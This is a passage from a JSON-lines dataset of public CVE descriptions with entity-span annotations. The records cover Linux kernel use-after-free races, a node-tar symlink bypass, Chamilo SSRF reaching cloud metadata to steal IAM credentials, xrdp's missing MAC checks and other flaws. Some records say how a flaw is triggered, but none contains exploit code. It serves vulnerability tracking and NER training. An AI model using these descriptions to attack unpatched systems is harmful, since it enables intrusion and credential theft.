for access. For such\n systems users are advised to:\n\n\n\n  *  generate a new secret/key/credential using gokey version 0.2.0 or above\n\n  *  provision the new secret/key/credential in addition to the existing credential on the system\n\n  *  verify that the access or required system operation is still possible with the new secret/key/credential\n\n  *  revoke authorization for the existing/old credential from the system\n\n\n\n\nCredit\nThis vulnerability was found by Théo Cusnir ( @mister_mime https://hackerone.com/mister_mime ) and responsibly disclosed through Cloudflare's bug bounty program.", "spans": {"URL: https://github.com/cloudflare/gokey/releases/tag/v0.1.3": [[2571, 2626]], "URL: https://hackerone.com/mister_mime": [[3637, 3670]], "FILEPATH: /key/credential": [[3231, 3246], [3312, 3327], [3476, 3491]], "ORGANIZATION: Cloudflare": [[3707, 3717]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-13353"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: fix a UAF when vma->mm is freed after vma->vm_refcnt got dropped\n\nBy inducing delays in the right places, Jann Horn created a reproducer for\na hard to hit UAF issue that became possible after VMAs were allowed to be\nrecycled by adding SLAB_TYPESAFE_BY_RCU to their cache.\n\nRace description is borrowed from Jann's discovery report:\nlock_vma_under_rcu() looks up a VMA locklessly with mas_walk() under\nrcu_read_lock().  At that point, the VMA may be concurrently freed, and it\ncan be recycled by another process.  vma_start_read() then increments the\nvma->vm_refcnt (if it is in an acceptable range), and if this succeeds,\nvma_start_read() can return a recycled VMA.\n\nIn this scenario where the VMA has been recycled, lock_vma_under_rcu()\nwill then detect the mismatching ->vm_mm pointer and drop the VMA through\nvma_end_read(), which calls vma_refcount_put().  vma_refcount_put() drops\nthe refcount and then calls rcuwait_wake_up() using a copy of vma->vm_mm. \nThis is wrong: It implicitly assumes that the caller is keeping the VMA's\nmm alive, but in this scenario the caller has no relation to the VMA's mm,\nso the rcuwait_wake_up() can cause UAF.\n\nThe diagram depicting the race:\nT1         T2         T3\n==         ==         ==\nlock_vma_under_rcu\n  mas_walk\n          <VMA gets removed from mm>\n                      mmap\n                        <the same VMA is reallocated>\n  vma_start_read\n    __refcount_inc_not_zero_limited_acquire\n                      munmap\n                        __vma_enter_locked\n                          refcount_add_not_zero\n  vma_end_read\n    vma_refcount_put\n      __refcount_dec_and_test\n                          rcuwait_wait_event\n                            <finish operation>\n      rcuwait_wake_up [UAF]\n\nNote that rcuwait_wait_event() in T3 does not block because refcount was\nalready dropped by T1.  At this point T3 can exit and free the mm causing\nUAF in T1.\n\nTo avoid this we move vma->vm_mm verification into vma_start_read() and\ngrab vma->vm_mm to stabilize it before vma_refcount_put() operation.\n\n[surenb@google.com: v3]", "spans": {"DOMAIN: google.com": [[2131, 2141]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38554"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncachefiles: fix slab-use-after-free in cachefiles_ondemand_daemon_read()\n\nWe got the following issue in a fuzz test of randomly issuing the restore\ncommand:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in cachefiles_ondemand_daemon_read+0xb41/0xb60\nRead of size 8 at addr ffff888122e84088 by task ondemand-04-dae/963\n\nCPU: 13 PID: 963 Comm: ondemand-04-dae Not tainted 6.8.0-dirty #564\nCall Trace:\n kasan_report+0x93/0xc0\n cachefiles_ondemand_daemon_read+0xb41/0xb60\n vfs_read+0x169/0xb50\n ksys_read+0xf5/0x1e0\n\nAllocated by task 116:\n kmem_cache_alloc+0x140/0x3a0\n cachefiles_lookup_cookie+0x140/0xcd0\n fscache_cookie_state_machine+0x43c/0x1230\n [...]\n\nFreed by task 792:\n kmem_cache_free+0xfe/0x390\n cachefiles_put_object+0x241/0x480\n fscache_cookie_state_machine+0x5c8/0x1230\n [...]\n==================================================================\n\nFollowing is the process that triggers the issue:\n\n     mount  |   daemon_thread1    |    daemon_thread2\n------------------------------------------------------------\ncachefiles_withdraw_cookie\n cachefiles_ondemand_clean_object(object)\n  cachefiles_ondemand_send_req\n   REQ_A = kzalloc(sizeof(*req) + data_len)\n   wait_for_completion(&REQ_A->done)\n\n            cachefiles_daemon_read\n             cachefiles_ondemand_daemon_read\n              REQ_A = cachefiles_ondemand_select_req\n              msg->object_id = req->object->ondemand->ondemand_id\n                                  ------ restore ------\n                                  cachefiles_ondemand_restore\n                                  xas_for_each(&xas, req, ULONG_MAX)\n                                   xas_set_mark(&xas, CACHEFILES_REQ_NEW)\n\n                                  cachefiles_daemon_read\n                                   cachefiles_ondemand_daemon_read\n                                    REQ_A = cachefiles_ondemand_select_req\n              copy_to_user(_buffer, msg, n)\n               xa_erase(&cache->reqs, id)\n               complete(&REQ_A->done)\n              ------ close(fd) ------\n              cachefiles_ondemand_fd_release\n               cachefiles_put_object\n cachefiles_put_object\n  kmem_cache_free(cachefiles_object_jar, object)\n                                    REQ_A->object->ondemand->ondemand_id\n                                     // object UAF !!!\n\nWhen we see the request within xa_lock, req->object must not have been\nfreed yet, so grab the reference count of object before xa_unlock to\navoid the above issue.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[90, 104], [311, 325]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39510"}}
{"text": "Vulnerability in the Oracle Human Resources product of Oracle E-Business Suite (component: Hierarchy Diagrammers). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Human Resources. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Human Resources accessible data as well as unauthorized access to critical data or complete access to all Oracle Human Resources accessible data. CVSS 3.0 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [55, 61], [296, 302], [454, 460], [567, 573]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2882"}}
{"text": "Global buffer overflow vulnerability exist in ffjpeg through 01.01.2021. It is similar to CVE-2020-23705. Issue is in the jfif_encode function at ffjpeg/src/jfif.c (line 708) could cause a Denial of Service by using a crafted jpeg file.", "spans": {"CVE_ID: CVE-2020-23705": [[90, 104]], "FILEPATH: /src/jfif.c": [[152, 163]], "VULNERABILITY: Denial of Service": [[189, 206]], "VULNERABILITY: buffer overflow": [[7, 22]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-44957"}}
{"text": "Sony IPELA Network Camera 1.82.01 contains a stack buffer overflow vulnerability in the ftpclient.cgi endpoint that allows remote attackers to execute arbitrary code. Attackers can exploit the vulnerability by sending a crafted POST request with oversized data to the FTP client functionality, potentially causing remote code execution or denial of service.", "spans": {"FILEPATH: ftpclient.cgi": [[88, 101]], "VULNERABILITY: remote code execution": [[314, 335]], "VULNERABILITY: denial of service": [[339, 356]], "VULNERABILITY: buffer overflow": [[51, 66]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36885"}}
{"text": "The npm package \"tar\" (aka node-tar) before versions 4.4.16, 5.0.8, and 6.1.7 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both `\\` and `/` characters as path separators, however `\\` is a valid filename character on posix systems. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at `FOO`, followed by a symbolic link named `foo`, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but _not_ from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the `FOO` directory would then be placed in the target of the symbolic link, thinking that the directory had already been created. These issues were addressed in releases 4.4.16, 5.0.8 and 6.1.7. The v3 branch of node-tar has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of node-tar. If this is not possible, a workaround is available in the referenced GHSA-9r2w-394v-53qc.", "spans": {"ORGANIZATION: npm": [[4, 7]], "VULNERABILITY: code execution": [[133, 147]], "VULNERABILITY: symlink": [[604, 611], [659, 666], [973, 980], [1022, 1029], [1099, 1106]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37701"}}
{"text": "Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, the PENS (Package Exchange Notification Services) plugin endpoint at public/plugin/Pens/pens.php is accessible without authentication and accepts a user-controlled package-url parameter that the server fetches using curl without filtering private or internal IP addresses, enabling unauthenticated Server-Side Request Forgery (SSRF). An attacker can exploit this to probe internal network services, access cloud metadata endpoints (such as 169.254.169.254) to steal IAM credentials and sensitive instance metadata, or trigger state-changing operations on internal services via the receipt and alerts callback parameters. No authentication is required to exploit either SSRF vector, significantly increasing the attack surface. This issue has been fixed in version 2.0.0-RC.3.", "spans": {"IP_ADDRESS: 169.254.169.254": [[531, 546]], "FILEPATH: /plugin/Pens/pens.php": [[166, 187]], "SYSTEM: curl": [[307, 311]], "VULNERABILITY: Server-Side Request Forgery": [[389, 416]], "VULNERABILITY: SSRF": [[418, 422], [760, 764]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34160"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: nfc: Fix use-after-free in local_cleanup()\n\nFix a use-after-free that occurs in kfree_skb() called from\nlocal_cleanup(). This could happen when killing nfc daemon (e.g. neard)\nafter detaching an nfc device.\nWhen detaching an nfc device, local_cleanup() called from\nnfc_llcp_unregister_device() frees local->rx_pending and decreases\nlocal->ref by kref_put() in nfc_llcp_local_put().\nIn the terminating process, nfc daemon releases all sockets and it leads\nto decreasing local->ref. After the last release of local->ref,\nlocal_cleanup() called from local_release() frees local->rx_pending\nagain, which leads to the bug.\n\nSetting local->rx_pending to NULL in local_cleanup() could prevent\nuse-after-free when local_cleanup() is called twice.\n\nFound by a modified version of syzkaller.\n\nBUG: KASAN: use-after-free in kfree_skb()\n\nCall Trace:\ndump_stack_lvl (lib/dump_stack.c:106)\nprint_address_description.constprop.0.cold (mm/kasan/report.c:306)\nkasan_check_range (mm/kasan/generic.c:189)\nkfree_skb (net/core/skbuff.c:955)\nlocal_cleanup (net/nfc/llcp_core.c:159)\nnfc_llcp_local_put.part.0 (net/nfc/llcp_core.c:172)\nnfc_llcp_local_put (net/nfc/llcp_core.c:181)\nllcp_sock_destruct (net/nfc/llcp_sock.c:959)\n__sk_destruct (net/core/sock.c:2133)\nsk_destruct (net/core/sock.c:2181)\n__sk_free (net/core/sock.c:2192)\nsk_free (net/core/sock.c:2203)\nllcp_sock_release (net/nfc/llcp_sock.c:646)\n__sock_release (net/socket.c:650)\nsock_close (net/socket.c:1365)\n__fput (fs/file_table.c:306)\ntask_work_run (kernel/task_work.c:179)\nptrace_notify (kernel/signal.c:2354)\nsyscall_exit_to_user_mode_prepare (kernel/entry/common.c:278)\nsyscall_exit_to_user_mode (kernel/entry/common.c:296)\ndo_syscall_64 (arch/x86/entry/common.c:86)\nentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:106)\n\nAllocated by task 4719:\nkasan_save_stack (mm/kasan/common.c:45)\n__kasan_slab_alloc (mm/kasan/common.c:325)\nslab_post_alloc_hook (mm/slab.h:766)\nkmem_cache_alloc_node (mm/slub.c:3497)\n__alloc_skb (net/core/skbuff.c:552)\npn533_recv_response (drivers/nfc/pn533/usb.c:65)\n__usb_hcd_giveback_urb (drivers/usb/core/hcd.c:1671)\nusb_giveback_urb_bh (drivers/usb/core/hcd.c:1704)\ntasklet_action_common.isra.0 (kernel/softirq.c:797)\n__do_softirq (kernel/softirq.c:571)\n\nFreed by task 1901:\nkasan_save_stack (mm/kasan/common.c:45)\nkasan_set_track (mm/kasan/common.c:52)\nkasan_save_free_info (mm/kasan/genericdd.c:518)\n__kasan_slab_free (mm/kasan/common.c:236)\nkmem_cache_free (mm/slub.c:3809)\nkfree_skbmem (net/core/skbuff.c:874)\nkfree_skb (net/core/skbuff.c:931)\nlocal_cleanup (net/nfc/llcp_core.c:159)\nnfc_llcp_unregister_device (net/nfc/llcp_core.c:1617)\nnfc_unregister_device (net/nfc/core.c:1179)\npn53x_unregister_nfc (drivers/nfc/pn533/pn533.c:2846)\npn533_usb_disconnect (drivers/nfc/pn533/usb.c:579)\nusb_unbind_interface (drivers/usb/core/driver.c:458)\ndevice_release_driver_internal (drivers/base/dd.c:1279)\nbus_remove_device (drivers/base/bus.c:529)\ndevice_del (drivers/base/core.c:3665)\nusb_disable_device (drivers/usb/core/message.c:1420)\nusb_disconnect (drivers/usb/core.c:2261)\nhub_event (drivers/usb/core/hub.c:5833)\nprocess_one_work (arch/x86/include/asm/jump_label.h:27 include/linux/jump_label.h:212 include/trace/events/workqueue.h:108 kernel/workqueue.c:2281)\nworker_thread (include/linux/list.h:282 kernel/workqueue.c:2423)\nkthread (kernel/kthread.c:319)\nret_from_fork (arch/x86/entry/entry_64.S:301)", "spans": {"FILEPATH: /kasan/report.c": [[996, 1011]], "FILEPATH: /kasan/generic.c": [[1038, 1054]], "FILEPATH: /core/skbuff.c": [[1074, 1088], [2048, 2062], [2548, 2562], [2582, 2596]], "FILEPATH: /nfc/llcp_core.c": [[1112, 1128], [1164, 1180], [1209, 1225], [2620, 2636], [2673, 2689]], "FILEPATH: /nfc/llcp_sock.c": [[1254, 1270], [1434, 1450]], "FILEPATH: /core/sock.c": [[1294, 1306], [1329, 1341], [1362, 1374], [1393, 1405]], "FILEPATH: /entry/common.c": [[1667, 1682], [1721, 1736]], "FILEPATH: /x86/entry/common.c": [[1761, 1780]], "FILEPATH: /x86/entry/entry_64.S": [[1821, 1842], [3432, 3453]], "FILEPATH: /kasan/common.c": [[1893, 1908], [1935, 1950], [2349, 2364], [2388, 2403], [2477, 2492]], "FILEPATH: /nfc/pn533/usb.c": [[2096, 2112], [2823, 2839]], "FILEPATH: /usb/core/hcd.c": [[2148, 2163], [2198, 2213]], "FILEPATH: /kasan/genericdd.c": [[2432, 2450]], "FILEPATH: /nfc/core.c": [[2722, 2733]], "FILEPATH: /nfc/pn533/pn533.c": [[2769, 2787]], "FILEPATH: /usb/core/driver.c": [[2874, 2892]], "FILEPATH: /base/dd.c": [[2937, 2947]], "FILEPATH: /base/bus.c": [[2980, 2991]], "FILEPATH: /base/core.c": [[3016, 3028]], "FILEPATH: /usb/core/message.c": [[3062, 3081]], "FILEPATH: /usb/core.c": [[3111, 3122]], "FILEPATH: /usb/core/hub.c": [[3147, 3162]], "FILEPATH: /x86/include/asm/jump_label.h": [[3191, 3220]], "FILEPATH: /linux/jump_label.h": [[3231, 3250]], "FILEPATH: /trace/events/workqueue.h": [[3262, 3287]], "FILEPATH: /linux/list.h": [[3339, 3352]], "FILEPATH: dump_stack.c": [[932, 944]], "FILEPATH: socket.c": [[1476, 1484], [1506, 1514]], "FILEPATH: file_table.c": [[1532, 1544]], "FILEPATH: task_work.c": [[1572, 1583]], "FILEPATH: signal.c": [[1611, 1619]], "FILEPATH: slab.h": [[1981, 1987]], "FILEPATH: slub.c": [[2019, 2025], [2518, 2524]], "FILEPATH: softirq.c": [[2257, 2266], [2293, 2302]], "FILEPATH: workqueue.c": [[3299, 3310], [3364, 3375]], "FILEPATH: kthread.c": [[3398, 3407]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[83, 97], [124, 138], [760, 774], [869, 883]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53023"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Disable preemption in bpf_event_output\n\nWe received report [1] of kernel crash, which is caused by\nusing nesting protection without disabled preemption.\n\nThe bpf_event_output can be called by programs executed by\nbpf_prog_run_array_cg function that disabled migration but\nkeeps preemption enabled.\n\nThis can cause task to be preempted by another one inside the\nnesting protection and lead eventually to two tasks using same\nperf_sample_data buffer and cause crashes like:\n\n  BUG: kernel NULL pointer dereference, address: 0000000000000001\n  #PF: supervisor instruction fetch in kernel mode\n  #PF: error_code(0x0010) - not-present page\n  ...\n  ? perf_output_sample+0x12a/0x9a0\n  ? finish_task_switch.isra.0+0x81/0x280\n  ? perf_event_output+0x66/0xa0\n  ? bpf_event_output+0x13a/0x190\n  ? bpf_event_output_data+0x22/0x40\n  ? bpf_prog_dfc84bbde731b257_cil_sock4_connect+0x40a/0xacb\n  ? xa_load+0x87/0xe0\n  ? __cgroup_bpf_run_filter_sock_addr+0xc1/0x1a0\n  ? release_sock+0x3e/0x90\n  ? sk_setsockopt+0x1a1/0x12f0\n  ? udp_pre_connect+0x36/0x50\n  ? inet_dgram_connect+0x93/0xa0\n  ? __sys_connect+0xb4/0xe0\n  ? udp_setsockopt+0x27/0x40\n  ? __pfx_udp_push_pending_frames+0x10/0x10\n  ? __sys_setsockopt+0xdf/0x1a0\n  ? __x64_sys_connect+0xf/0x20\n  ? do_syscall_64+0x3a/0x90\n  ? entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nFixing this by disabling preemption in bpf_event_output.\n\n[1] https://github.com/cilium/cilium/issues/26756", "spans": {"URL: https://github.com/cilium/cilium/issues/26756": [[1444, 1489]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[561, 585]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54173"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_fs: Fix race between aio_cancel() and AIO request complete\n\nFFS based applications can utilize the aio_cancel() callback to dequeue\npending USB requests submitted to the UDC.  There is a scenario where the\nFFS application issues an AIO cancel call, while the UDC is handling a\nsoft disconnect.  For a DWC3 based implementation, the callstack looks\nlike the following:\n\n    DWC3 Gadget                               FFS Application\ndwc3_gadget_soft_disconnect()              ...\n  --> dwc3_stop_active_transfers()\n    --> dwc3_gadget_giveback(-ESHUTDOWN)\n      --> ffs_epfile_async_io_complete()   ffs_aio_cancel()\n        --> usb_ep_free_request()            --> usb_ep_dequeue()\n\nThere is currently no locking implemented between the AIO completion\nhandler and AIO cancel, so the issue occurs if the completion routine is\nrunning in parallel to an AIO cancel call coming from the FFS application.\nAs the completion call frees the USB request (io_data->req) the FFS\napplication is also referencing it for the usb_ep_dequeue() call.  This can\nlead to accessing a stale/hanging pointer.\n\ncommit b566d38857fc (\"usb: gadget: f_fs: use io_data->status consistently\")\nrelocated the usb_ep_free_request() into ffs_epfile_async_io_complete().\nHowever, in order to properly implement locking to mitigate this issue, the\nspinlock can't be added to ffs_epfile_async_io_complete(), as\nusb_ep_dequeue() (if successfully dequeuing a USB request) will call the\nfunction driver's completion handler in the same context.  Hence, leading\ninto a deadlock.\n\nFix this issue by moving the usb_ep_free_request() back to\nffs_user_copy_worker(), and ensuring that it explicitly sets io_data->req\nto NULL after freeing it within the ffs->eps_lock.  This resolves the race\ncondition above, as the ffs_aio_cancel() routine will not continue\nattempting to dequeue a request that has already been freed, or the\nffs_user_copy_work() not freeing the USB request until the AIO cancel is\ndone referencing it.\n\nThis fix depends on\n  commit b566d38857fc (\"usb: gadget: f_fs: use io_data->status\n  consistently\")", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36894"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncachefiles: wait for ondemand_object_worker to finish when dropping object\n\nWhen queuing ondemand_object_worker() to re-open the object,\ncachefiles_object is not pinned. The cachefiles_object may be freed when\nthe pending read request is completed intentionally and the related\nerofs is umounted. If ondemand_object_worker() runs after the object is\nfreed, it will incur use-after-free problem as shown below.\n\nprocess A  processs B  process C  process D\n\ncachefiles_ondemand_send_req()\n// send a read req X\n// wait for its completion\n\n           // close ondemand fd\n           cachefiles_ondemand_fd_release()\n           // set object as CLOSE\n\n                       cachefiles_ondemand_daemon_read()\n                       // set object as REOPENING\n                       queue_work(fscache_wq, &info->ondemand_work)\n\n                                // close /dev/cachefiles\n                                cachefiles_daemon_release\n                                cachefiles_flush_reqs\n                                complete(&req->done)\n\n// read req X is completed\n// umount the erofs fs\ncachefiles_put_object()\n// object will be freed\ncachefiles_ondemand_deinit_obj_info()\nkmem_cache_free(object)\n                       // both info and object are freed\n                       ondemand_object_worker()\n\nWhen dropping an object, it is no longer necessary to reopen the object,\nso use cancel_work_sync() to cancel or wait for ondemand_object_worker()\nto finish.", "spans": {"FILEPATH: /dev/cachefiles": [[933, 948]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[440, 454]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41051"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Defer sub-object cleanup in export put callbacks\n\nsvc_export_put() calls path_put() and auth_domain_put() immediately\nwhen the last reference drops, before the RCU grace period. RCU\nreaders in e_show() and c_show() access both ex_path (via\nseq_path/d_path) and ex_client->name (via seq_escape) without\nholding a reference. If cache_clean removes the entry and drops the\nlast reference concurrently, the sub-objects are freed while still\nin use, producing a NULL pointer dereference in d_path.\n\nCommit 2530766492ec (\"nfsd: fix UAF when access ex_uuid or\nex_stats\") moved kfree of ex_uuid and ex_stats into the\ncall_rcu callback, but left path_put() and auth_domain_put() running\nbefore the grace period because both may sleep and call_rcu\ncallbacks execute in softirq context.\n\nReplace call_rcu/kfree_rcu with queue_rcu_work(), which defers the\ncallback until after the RCU grace period and executes it in process\ncontext where sleeping is permitted. This allows path_put() and\nauth_domain_put() to be moved into the deferred callback alongside\nthe other resource releases. Apply the same fix to expkey_put(),\nwhich has the identical pattern with ek_path and ek_client.\n\nA dedicated workqueue scopes the shutdown drain to only NFSD\nexport release work items; flushing the shared\nsystem_unbound_wq would stall on unrelated work from other\nsubsystems. nfsd_export_shutdown() uses rcu_barrier() followed\nby flush_workqueue() to ensure all deferred release callbacks\ncomplete before the export caches are destroyed.\n\nReviwed-by: Jeff Layton <jlayton@kernel.org>", "spans": {"DOMAIN: kernel.org": [[1620, 1630]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[532, 556]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31404"}}
{"text": "xrdp is an open source RDP server. In versions through 0.10.5, xrdp does not implement verification for the Message Authentication Code (MAC) signature of encrypted RDP packets when using the \"Classic RDP Security\" layer. While the sender correctly generates signatures, the receiving logic lacks the necessary implementation to validate the 8-byte integrity signature, causing it to be silently ignored. An unauthenticated attacker with man-in-the-middle (MITM) capabilities can exploit this missing check to modify encrypted traffic in transit without detection. It does not affect connections where the TLS security layer is enforced. This issue has been fixed in version 0.10.6. If users are unable to immediately upgrade, they should configure xrdp.ini to enforce TLS security (security_layer=tls) to ensure end-to-end integrity.", "spans": {"FILEPATH: xrdp.ini": [[749, 757]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32105"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/iucv: Fix size of interrupt data\n\niucv_irq_data needs to be 4 bytes larger.\nThese bytes are not used by the iucv module, but written by\nthe z/VM hypervisor in case a CPU is deconfigured.\n\nReported as:\nBUG dma-kmalloc-64 (Not tainted): kmalloc Redzone overwritten\n-----------------------------------------------------------------------------\n0x0000000000400564-0x0000000000400567 @offset=1380. First byte 0x80 instead of 0xcc\nAllocated in iucv_cpu_prepare+0x44/0xd0 age=167839 cpu=2 pid=1\n__kmem_cache_alloc_node+0x166/0x450\nkmalloc_node_trace+0x3a/0x70\niucv_cpu_prepare+0x44/0xd0\ncpuhp_invoke_callback+0x156/0x2f0\ncpuhp_issue_call+0xf0/0x298\n__cpuhp_setup_state_cpuslocked+0x136/0x338\n__cpuhp_setup_state+0xf4/0x288\niucv_init+0xf4/0x280\ndo_one_initcall+0x78/0x390\ndo_initcalls+0x11a/0x140\nkernel_init_freeable+0x25e/0x2a0\nkernel_init+0x2e/0x170\n__ret_from_fork+0x3c/0x58\nret_from_fork+0xa/0x40\nFreed in iucv_init+0x92/0x280 age=167839 cpu=2 pid=1\n__kmem_cache_free+0x308/0x358\niucv_init+0x92/0x280\ndo_one_initcall+0x78/0x390\ndo_initcalls+0x11a/0x140\nkernel_init_freeable+0x25e/0x2a0\nkernel_init+0x2e/0x170\n__ret_from_fork+0x3c/0x58\nret_from_fork+0xa/0x40\nSlab 0x0000037200010000 objects=32 used=30 fp=0x0000000000400640 flags=0x1ffff00000010200(slab|head|node=0|zone=0|\nObject 0x0000000000400540 @offset=1344 fp=0x0000000000000000\nRedzone  0000000000400500: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc  ................\nRedzone  0000000000400510: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc  ................\nRedzone  0000000000400520: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc  ................\nRedzone  0000000000400530: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc  ................\nObject   0000000000400540: 00 01 00 03 00 00 00 00 00 00 00 00 00 00 00 00  ................\nObject   0000000000400550: f3 86 81 f2 f4 82 f8 82 f0 f0 f0 f0 f0 f0 f0 f2  ................\nObject   0000000000400560: 00 00 00 00 80 00 00 00 cc cc cc cc cc cc cc cc  ................\nObject   0000000000400570: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc  ................\nRedzone  0000000000400580: cc cc cc cc cc cc cc cc                          ........\nPadding  00000000004005d4: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ\nPadding  00000000004005e4: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ\nPadding  00000000004005f4: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a              ZZZZZZZZZZZZ\nCPU: 6 PID: 121030 Comm: 116-pai-crypto. Not tainted 6.3.0-20230221.rc0.git4.99b8246b2d71.300.fc37.s390x+debug #1\nHardware name: IBM 3931 A01 704 (z/VM 7.3.0)\nCall Trace:\n[<000000032aa034ec>] dump_stack_lvl+0xac/0x100\n[<0000000329f5a6cc>] check_bytes_and_report+0x104/0x140\n[<0000000329f5aa78>] check_object+0x370/0x3c0\n[<0000000329f5ede6>] free_debug_processing+0x15e/0x348\n[<0000000329f5f06a>] free_to_partial_list+0x9a/0x2f0\n[<0000000329f5f4a4>] __slab_free+0x1e4/0x3a8\n[<0000000329f61768>] __kmem_cache_free+0x308/0x358\n[<000000032a91465c>] iucv_cpu_dead+0x6c/0x88\n[<0000000329c2fc66>] cpuhp_invoke_callback+0x156/0x2f0\n[<000000032aa062da>] _cpu_down.constprop.0+0x22a/0x5e0\n[<0000000329c3243e>] cpu_device_down+0x4e/0x78\n[<000000032a61dee0>] device_offline+0xc8/0x118\n[<000000032a61e048>] online_store+0x60/0xe0\n[<000000032a08b6b0>] kernfs_fop_write_iter+0x150/0x1e8\n[<0000000329fab65c>] vfs_write+0x174/0x360\n[<0000000329fab9fc>] ksys_write+0x74/0x100\n[<000000032aa03a5a>] __do_syscall+0x1da/0x208\n[<000000032aa177b2>] system_call+0x82/0xb0\nINFO: lockdep is turned off.\nFIX dma-kmalloc-64: Restoring kmalloc Redzone 0x0000000000400564-0x0000000000400567=0xcc\nFIX dma-kmalloc-64: Object at 0x0000000000400540 not freed", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[2637, 2640]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53108"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntty: fix possible null-ptr-defer in spk_ttyio_release\n\nRun the following tests on the qemu platform:\n\nsyzkaller:~# modprobe speakup_audptr\n input: Speakup as /devices/virtual/input/input4\n initialized device: /dev/synth, node (MAJOR 10, MINOR 125)\n speakup 3.1.6: initialized\n synth name on entry is: (null)\n synth probe\n\nspk_ttyio_initialise_ldisc failed because tty_kopen_exclusive returned\nfailed (errno -16), then remove the module, we will get a null-ptr-defer\nproblem, as follow:\n\nsyzkaller:~# modprobe -r speakup_audptr\n releasing synth audptr\n BUG: kernel NULL pointer dereference, address: 0000000000000080\n #PF: supervisor write access in kernel mode\n #PF: error_code(0x0002) - not-present page\n PGD 0 P4D 0\n Oops: 0002 [#1] PREEMPT SMP PTI\n CPU: 2 PID: 204 Comm: modprobe Not tainted 6.1.0-rc6-dirty #1\n RIP: 0010:mutex_lock+0x14/0x30\n Call Trace:\n <TASK>\n  spk_ttyio_release+0x19/0x70 [speakup]\n  synth_release.part.6+0xac/0xc0 [speakup]\n  synth_remove+0x56/0x60 [speakup]\n  __x64_sys_delete_module+0x156/0x250\n  ? fpregs_assert_state_consistent+0x1d/0x50\n  do_syscall_64+0x37/0x90\n  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n </TASK>\n Modules linked in: speakup_audptr(-) speakup\n Dumping ftrace buffer:\n\nin_synth->dev was not initialized during modprobe, so we add check\nfor in_synth->dev to fix this bug.", "spans": {"FILEPATH: /devices/virtual/input/input4": [[227, 256]], "FILEPATH: /dev/synth": [[278, 288]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[633, 657]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48870"}}
